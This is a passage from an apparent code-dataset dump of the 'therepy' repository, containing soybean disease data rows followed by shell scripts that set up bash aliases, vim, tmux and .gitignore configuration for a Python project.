absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, normal, gt-norm, norm, yes, same-lst-yr, scattered, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-yr, whole-field, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, scattered, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-yr, scattered, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, gt-norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, ?, gt-norm, gt-norm, ?, same-lst-two-yrs, whole-field, ?, ?, ?, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\noctober, ?, gt-norm, gt-norm, ?, same-lst-yr, whole-field, ?, ?, ?, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\nseptember, ?, gt-norm, gt-norm, ?, same-lst-yr, whole-field, ?, ?, ?, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\noctober, ?, gt-norm, gt-norm, ?, same-lst-sev-yrs, whole-field, ?, ?, ?, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\noctober, ?, gt-norm, gt-norm, ?, diff-lst-year, whole-field, ?, ?, ?, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\nmay, lt-normal, norm, gt-norm, ?, diff-lst-year, scattered, ?, ?, lt-80, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, norm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\nseptember, normal, gt-norm, gt-norm, ?, same-lst-yr, whole-field, ?, ?, 90-100, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\nseptember, normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, whole-field, ?, ?, 90-100, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\noctober, normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, whole-field, ?, ?, 80-89, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\njune, ?, ?, ?, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\njuly, ?, ?, ?, ?, same-lst-two-yrs, upper-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\naugust, ?, ?, ?, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\njune, ?, ?, ?, ?, same-lst-two-yrs, upper-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\njuly, ?, ?, ?, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\naugust, ?, ?, ?, ?, same-lst-sev-yrs, upper-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\naugust, ?, ?, ?, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\njuly, ?, ?, ?, ?, same-lst-sev-yrs, upper-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\nseptember, ?, ?, ?, ?, ?, low-areas, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\napril, ?, ?, ?, ?, ?, scattered, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\nmay, ?, ?, ?, ?, ?, low-areas, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\njune, ?, ?, ?, ?, ?, upper-areas, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\njuly, ?, ?, ?, ?, ?, whole-field, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\naugust, ?, ?, ?, ?, ?, scattered, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\noctober, ?, ?, ?, ?, ?, upper-areas, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\napril, ?, ?, ?, ?, ?, whole-field, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\nmay, ?, ?, ?, ?, ?, scattered, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\njune, ?, ?, ?, ?, ?, low-areas, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\njuly, ?, ?, ?, ?, ?, upper-areas, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\naugust, ?, ?, ?, ?, ?, whole-field, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\nseptember, ?, ?, ?, ?, ?, scattered, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\noctober, ?, ?, ?, ?, ?, low-areas, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\napril, ?, ?, ?, ?, ?, upper-areas, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\napril, lt-normal, ?, lt-norm, ?, diff-lst-year, scattered, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, present, ?, abnorm, ?, ?, ?, ?, ?, ?, ?, ?, dna, ?, ?, ?, ?, ?, ?, rotted, herbicide-injury\njune, lt-normal, ?, lt-norm, ?, diff-lst-year, scattered, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, present, ?, abnorm, ?, ?, ?, ?, ?, ?, ?, ?, dna, ?, ?, ?, ?, ?, ?, rotted, herbicide-injury\napril, lt-normal, ?, lt-norm, ?, same-lst-yr, whole-field, ?, ?, ?, abnorm, abnorm, no-yellow-halos, no-w-s-marg, gt-1/8, absent, present, ?, abnorm, ?, ?, ?, ?, ?, ?, ?, ?, dna, ?, ?, ?, ?, ?, ?, rotted, herbicide-injury\njune, lt-normal, ?, lt-norm, ?, same-lst-yr, whole-field, ?, ?, ?, abnorm, abnorm, no-yellow-halos, no-w-s-marg, gt-1/8, absent, present, ?, abnorm, ?, ?, ?, ?, ?, ?, ?, ?, dna, ?, ?, ?, ?, ?, ?, rotted, herbicide-injury\n\"\"\"\n" }, { "alpha_fraction": 0.5035461187362671, "alphanum_fraction": 0.521276593208313, "avg_line_length": 15.588234901428223, "blob_id": "acfcd1479a3cc11e80429ba182946f0ece031fe7", "content_id": "3326c511096141619fee73b4018bf9428273ef1a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 282, "license_type": "permissive", "max_line_length": 50, "num_lines": 17, "path": "/ELL.md", "repo_name": "timm/therepy", "src_encoding": "UTF-8", "text": "# SHELL Tricks\n\nusage=\"sh ELL.md\" \n\nEll=$(cd $( dirname \"${BASH_SOURCE[0]}\" ) && pwd )\n\ntput bold; tput setaf 4\ncat <<'EOF'\n .-.\n (o o) boo !!\n | O \\ there's no escape \n \\ \\ from (sh)ELL, v0.4\n `~~~'\nEOF\ntput sgr0\n\nEll=\"$Ell\" bash --init-file $Ell/.var/bashrc -i\n" }, { "alpha_fraction": 0.6958856582641602, "alphanum_fraction": 0.708832859992981, "avg_line_length": 20.36270523071289, "blob_id": "c5ff882f8e3ecf751b29b8906af987385c4bf2b3", "content_id": "d49d638247ae324f5abd6e5205afb7ce0c668d5a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 10438, "license_type": "permissive", "max_line_length": 148, "num_lines": 488, "path": "/INSTALL.md", "repo_name": "timm/therepy", "src_encoding": "UTF-8", "text": "# Install\n\nusage=\"sh INSTALL.md\" \n\nEll=$(cd $( dirname \"${BASH_SOURCE[0]}\" ) && pwd )\n\n\nmac=1 \nunix=0 \ntricks=1 \n\nif [ \"$mac\" -eq 1 ]; then\n brew install bat\nfi\n\nif [ \"$unix\" -eq 1 ]; then\n sudo apt install bat\nfi\n\nif [ \"$mac\" -eq 1 -o \"$unix\" -eq 1 ]; then \n sudo pip3 install docopt #required \n sudo pip3 install rerun pdoc3 # optional \nfi \n\n[ \"$tricks\" -eq 0 ] && exit 0\n\necho \"\"\necho \"Installing tricks...\"\necho \"\"\n\nwant=$Ell/.travis.yml\n[ -f \"$want\" ] || cat<<'EOF'>$want\nlanguage: python\npython:\n - \"3.8\"\ncache: pip\ninstall:\n - pip3 install -r requirements.txt\nscript:\n - pwd\n - ls\n - python3 -m bnbad -T\nEOF\n\nVar=$Ell/.var\nmkdir -p $Var\n \nwant=$Var/banner\necho \"Ensuring $want exists...\"\n[ -f \"$want\" ] || cat<<'EOF'>$want\nEOF\n\nwant=$Var/bashrc\necho \"Ensuring $want exists...\"\n[ -f \"$want\" ] || cat<<'EOF'>$want\nf=$Ell/therepy/there \nalias ok=\"pytest -s -k \"\nalias spy=\"rerun 'pytest $f.py'\" \nok1() { cd $Ell; pytest -s -k $1 therepy; } \n\nalias gg=\"git pull\" \nalias gs=\"git status\" \nalias gp=\"git commit -am 'saving'; git push; git status\" \nalias doc=\"sh $Ell/DOC.md; \"\n\nmatrix() { nice -20 cmatrix -b -C cyan; }\nreload() { rm $Ell/.var/*; sh $Ell/INSTALL.md; . $Ell/.var/bashrc; }\nmims() { vim -u $Ell/.var/vimrc +PluginInstall +qall; }\n\nalias vi=\"vim -u $Ell/.var/vimrc\"\nalias tmux=\"tmux -f $Ell/.var/tmuxrc\"\n\nhere() { cd $1; basename `pwd`; } \n\nPROMPT_COMMAND='echo -ne \"🔆 $(git branch 2>/dev/null | grep '^*' | colrm 1 2):\";PS1=\"$(here ..)/$(here .):\\!\\e[m ▶ \"' \nEOF\n\n\nwant=$Var/vimrc;\necho \"Ensuring $want exists...\"\n[ -f \"$want\" ] || cat<<'EOF'>$want\nset list\nset listchars=tab:>-\nset backupdir-=.\nset backupdir^=~/tmp,/tmp\nset nocompatible\n\"filetype plugin indent on\nset modelines=3\nset scrolloff=3\nset autoindent\nset hidden \"remember ls\nset wildmenu\nset wildmode=list:longest\nset visualbell\nset ttyfast\nset backspace=indent,eol,start\nset laststatus=2\nset splitbelow\nset paste\nset mouse=a\nset title\nset number\nset relativenumber\nautocmd BufEnter * cd %:p:h\nset showmatch\nset matchtime=15\nset background=light\nset syntax=on\nsyntax enable\nset ignorecase\nset incsearch\nset smartcase\nset showmatch\nset hlsearch\nset nofoldenable \" disable folding\nset ruler\nset laststatus=2\nset statusline=\nset statusline+=%F\nset statusline+=\\ \nset statusline+=%m\nset statusline+=%=\nset statusline+=%y\nset statusline+=\\ \nset statusline+=%c\nset statusline+=:\nset statusline+=%l\nset statusline+=\\ \nset lispwords+=defthing\nset lispwords+=doitems\nset lispwords+=deftest\nset lispwords+=defkeep\nset lispwords+=labels\nset lispwords+=labels\nset lispwords+=doread\nset lispwords+=while\nset lispwords+=until\nset path+=../**\nif has(\"mouse_sgr\")\n set ttymouse=sgr\nelse\n set ttymouse=xterm2\nend\ncolorscheme default\nset termguicolors\nlet &t_8f = \"\\<Esc>[38;2;%lu;%lu;%lum\"\nlet &t_8b = \"\\<Esc>[48;2;%lu;%lu;%lum\"\nmap Z 1z=\nset spell spelllang=en_us\nset spellsuggest=fast,20 \"Don't show too much suggestion for spell check\nnn <F7> :setlocal spell! spell?<CR>\nlet g:vim_markdown_fenced_languages = ['awk=awk']\nset nocompatible \" be iMproved, required\nfiletype off \" required\n\n\" set the runtime path to include Vundle and initialize\nset rtp+=~/.vim/bundle/Vundle.vim\ncall vundle#begin()\n\" alternatively, pass a path where Vundle should install plugins\n\"call vundle#begin('~/some/path/here')\n\n\" let Vundle manage Vundle, required\nPlugin 'VundleVim/Vundle.vim'\nPlugin 'tpope/vim-fugitive'\nPlugin 'scrooloose/nerdtree'\nPlugin 'tbastos/vim-lua'\nPlugin 'airblade/vim-gitgutter'\n\"Plugin 'itchyny/lightline.vim'\nPlugin 'junegunn/fzf'\n\" Plugin 'humiaozuzu/tabbar'\n\" Plugin 'drmingdrmer/vim-tabbar'\nPlugin 'tomtom/tcomment_vim'\nPlugin 'ap/vim-buftabline'\nPlugin 'junegunn/fzf.vim'\nPlugin 'jnurmine/Zenburn'\nPlugin 'altercation/vim-colors-solarized'\nPlugin 'nvie/vim-flake8'\nPlugin 'seebi/dircolors-solarized'\nPlugin 'nequo/vim-allomancer'\nPlugin 'nanotech/jellybeans.vim'\nPlugin 'tell-k/vim-autopep8'\nPlugin 'vimwiki/vimwiki'\nPlugin 'kchmck/vim-coffee-script'\nPlugin 'tpope/vim-markdown'\n\" All of your Plugins must be added before the following line\ncall vundle#end() \" required\nfiletype plugin indent on \" required\n\" To ignore plugin indent changes, instead use:\n\"filetype plugin on\nlet g:autopep8_indent_size=2\nlet g:autopep8_max_line_length=70\nlet g:autopep8_on_save = 1\nlet g:autopep8_disable_show_diff=1\nautocmd FileType python noremap <buffer> <F8> :call Autopep8()<CR>\ncolorscheme jellybeans\nmap <C-o> :NERDTreeToggle<CR>\nnnoremap <Leader><space> :noh<cr>\nautocmd bufenter * if (winnr(\"$\") == 1 && exists(\"b:NERDTree\") && b:NERDTree.isTabTree()) | q | endif\nset titlestring=%{expand(\\\"%:p:h\\\")}\nhi Normal guibg=NONE ctermbg=NONE\nhi NonText guibg=NONE ctermbg=NONE\n set fillchars=vert:\\|\nhi VertSplit cterm=NONE\nset ts=2\nset sw=2\nset sts=2\n set et\nautocmd bufenter * if (winnr(\"$\") == 1 && exists(\"b:NERDTreeType\") && b:NERDTreeType == \"primary\") | q | endif\nset hidden\nnnoremap <C-N> :bnext<CR>\nnnoremap <C-P> :bprev<CR>\nset formatoptions-=t\nset nowrap\n\" Markdown\nlet g:markdown_fenced_languages = ['awk','py=python']\nEOF\n\nif [ ! -d \"$HOME/.vim/bundle\" ]; then\n git clone https://github.com/VundleVim/Vundle.vim.git \\\n ~/.vim/bundle/Vundle.vim\n vim -u $Var/.vimrc +PluginInstall +qall\nfi\n\nwant=$Ell/.gitignore\necho \"Ensuring $want exists...\"\n[ -f \"$want\" ] || cat<<'EOF'>$want\n.var\n## VIM ###\n\n# Swap\n[._]*.s[a-v][a-z]\n!*.svg # comment out if you don't need vector files\n[._]*.sw[a-p]\n[._]s[a-rt-v][a-z]\n[._]ss[a-gi-z]\n[._]sw[a-p]\n\n# Session\nSession.vim\nSessionx.vim\n\n# Temporary\n.netrwhist\n*~\n# Auto-generated tag files\ntags\n# Persistent undo\n[._]*.un~\n\n### Macos ###\n\n# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n# Thumbnails\n._*\n\n# Files that might appear in the root of a volume\n.DocumentRevisions-V100\n.fseventsd\n.Spotlight-V100\n.TemporaryItems\n.Trashes\n.VolumeIcon.icns\n.com.apple.timemachine.donotpresent\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n\n# Python\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n# Usually these files are written by a python script from a template\n# before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\ncover/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\n.pybuilder/\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n# For a library or package, you might want to ignore these files since the code is\n# intended to run in multiple environments; otherwise, check them in:\n# .python-version\n\n# pipenv\n# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n# However, in case of collaboration, if having platform-specific dependencies or dependencies\n# having no cross-platform support, pipenv may install dependencies that don't work, or not\n# install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# Cython debug symbols\ncython_debug/\nEOF\n\nwant=$Var/tmuxrc\necho \"Ensuring $want exists...\"\n[ -f \"$want\" ] || cat<<'EOF'> $want\nset -g aggressive-resize on\nunbind C-b\nset -g prefix C-Space\nbind C-Space send-prefix\nset -g base-index 1\n# start with pane 1\nbind | split-window -h -c \"#{pane_current_path}\"\nbind - split-window -v -c \"#{pane_current_path}\"\nunbind '\"'\nunbind %\n# open new windows in the current path\nbind c new-window -c \"#{pane_current_path}\"\n# reload config file\nbind r source-file $Tnix/.config/dottmux\nunbind p\nbind p previous-window\n# shorten command delay\nset -sg escape-time 1\n# don't rename windows automatically\nset-option -g allow-rename off\n# mouse control (clickable windows, panes, resizable panes)\nset -g mouse on\n# Use Alt-arrow keys without prefix key to switch panes\nbind -n M-Left select-pane -L\nbind -n M-Right select-pane -R\nbind -n M-Up select-pane -U\nbind -n M-Down select-pane -D\n# enable vi mode keys\nset-window-option -g mode-keys vi\n# set default terminal mode to 256 colors\nset -g default-terminal \"screen-256color\"\nbind-key u capture-pane \\;\\\n save-buffer /tmp/tmux-buffer \\;\\\n split-window -l 10 \"urlview /tmp/tmux-buffer\"\nbind P paste-buffer\nbind-key -T copy-mode-vi v send-keys -X begin-selection\nbind-key -T copy-mode-vi y send-keys -X copy-selection\nbind-key -T copy-mode-vi r send-keys -X rectangle-toggle\n# loud or quiet?\nset-option -g visual-activity off\nset-option -g 